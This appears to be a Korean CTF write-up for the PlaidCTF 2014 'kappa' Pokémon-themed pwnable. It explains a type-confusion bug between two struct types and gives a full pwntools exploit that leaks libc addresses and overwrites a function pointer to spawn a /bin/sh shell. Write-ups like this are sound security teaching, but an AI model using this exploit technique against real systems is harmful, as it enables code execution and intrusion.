Pwnable/CTF

PlaidCTF 2014 kappa

HSr00t 2017. 3. 14. 18:38



바이너리를 실행시키면 이런식으로 포켓몬 관련 메뉴가 나온다.


일단 이 문제에서는 분석하는게 제일 힘들었다 .. 구조체로 나오는 문제를 별로보질못해서 .. 더 힘든문제였다.


이 부분은 첫 번쨰 메뉴를 선택하고 함수호출 을 또한번 하는데 그쪽부분이다.


보면 TYPE가 두 개로있는데 한가지는 BUF 가 0x214 또 다른 한가지는 0x888부분이다.


그리고 아래 사진과 위 사진을 함께보면 구조체 형태를 알 수 있다. 

buf + 132 부분을 보면 함수를 호출하는 구조체 배열인데 저 부분을 system 함수로 바꿀 수 있는 시나리오같다.



저 HEX-RAY한 곳데로 + 544 ... , + 310 ... 으로 보면안되고, 저 부분을 그냥 어셈블리로 보면 0X880 등등 으로 보인다. 

엄청 큰 수를 보니 딱 봐도 TYPE == 1일때 부분



TYPE == 2 부분 구조체 모습이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct KaKuNa { //TYPE == 2
 
char name[14]
char picture[501]
char *heal (4byte)
int *power (4byte)
char **attack (4byte)
char **function (4byte)
}
 
struct Charizard { //TYPE == 1
 
char name[14]
char picture[2153]
int *heal (4byte)
int *power (4byte)
char **attack (4byte)
char **function (4byte)
}
 
cs


저 부분을 구조체형태로 보면 이렇다.


저 TYPE 는 KAKUNA 6번 -> Charizard 1번 이 순서대로 나오는데 Charizard 로 KAKUNA를 덮어버리면 익스가 가능해진다. 

익스가 가능해지는 이유는


저기에 있는 memcpy로 구조체 중 두 번째 구조체배열인 char picture[] 부분을 덮어 줄 수 있다. (v4 + 15 부분이 picture 부분)





그럼 TYPE를 어떻게 덮을 수 있냐면 이 쪽부분을 보면 포켓몬이 5마리가 다 찻을때 나오는 부분이다. 여기서는 MEMCMP 등 함수를 쓰지않고 '=' 으로 대입을 해서 포켓몬을 교체시키고, TYPE가 같은지 안같은지 검사를 안 하기 때문에 이 부분을 잘 사용하면 될것같다.




구조체에서 HEAL, POWER는 INT형이라 못쓸것같고,

ATTACK 부분을 변조시키면 메모리 릭이 가능하고 그것으로 시스템 함수를 구한다음 시스템 함수로 FUNCTION 부분을 덮어주면 될것같다.

저 FUNCTION 부분에서 호출 하는 함수 인자는 NAME 부분이기 때문에 NAME에 /bin/sh를 넣어주면 된다.


(메모리 릭과 최종 system("/bin/sh") 부분은 3번메뉴에서 할 수 있다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
rom pwn import *
import hexdump
p=remote("localhost",9001)
read_plt=0x08048510+0x2
kakuna_print=0x08048766
 
print p.recvuntil('5. Change Pokemon artwork\n')
for i in range(0,6):
        p.sendline("1")
        print p.recvuntil('5. Change Pokemon artwork\n')
        p.sendline("1")
        print p.recvuntil('3. Run')
        p.sendline("2")
        print p.recvuntil('What would you like to name this Pokemon?\n')
        p.sendline("FUCK")
        if i>=4:
                p.sendline("5")
 
p.sendline("1")
print p.recvuntil('3. Run')
 
for i in range(0,4):
        p.sendline("1")
        print p.recvuntil('3. Run')
 
p.sendline("2")
print p.recvuntil('What would you like to name this Pokemon?')
p.sendline('/bin/sh\00')
p.sendline("5")
__libc_start_main=0x080485d0
print p.recvuntil('5. Change Pokemon artwork\n')
p.sendline("5")
print p.recvuntil('5. /bin/sh')
payload="A"*509
payload+=p32(read_plt)
payload+=p32(kakuna_print)
payload+="B"*2400
 
p.sendline("5")
p.sendline(payload)
 
print p.recvuntil('5. Change Pokemon artwork\n')
p.sendline("3")
 
print p.recvuntil('Attack Power: 1094795585\nAttack: ')
read=u32(p.recv(4))
printf=u32(p.recv(4))
free=u32(p.recv(4))
p.sendline("3")
print p.recv(4096)
p.interactive()
 
print "read Address: " + hex(read)
print "printf Address: " + hex(printf)
print "free Address: " + hex(free)
system = read - 0x9b280
print "system Address: " + hex(system)
 
print p.recvuntil('5. Change Pokemon artwork\n')
p.sendline("5")
print p.recvuntil('5. /bin/sh')
p.sendline("5")
EPayload="A"*513
EPayload+=p32(system)
EPayload+="A"*2400
p.sendline(EPayload)
 
print p.recvuntil('5. Change Pokemon artwork\n')
p.sendline("3")
print p.recv(4096)
p.interactive()
 
 
cs


read_plt + 0x2 부분을 넣으니 NULL 값 없이 printf, free함수 라이브러리 주소까지 출력을시켜서 신기했다.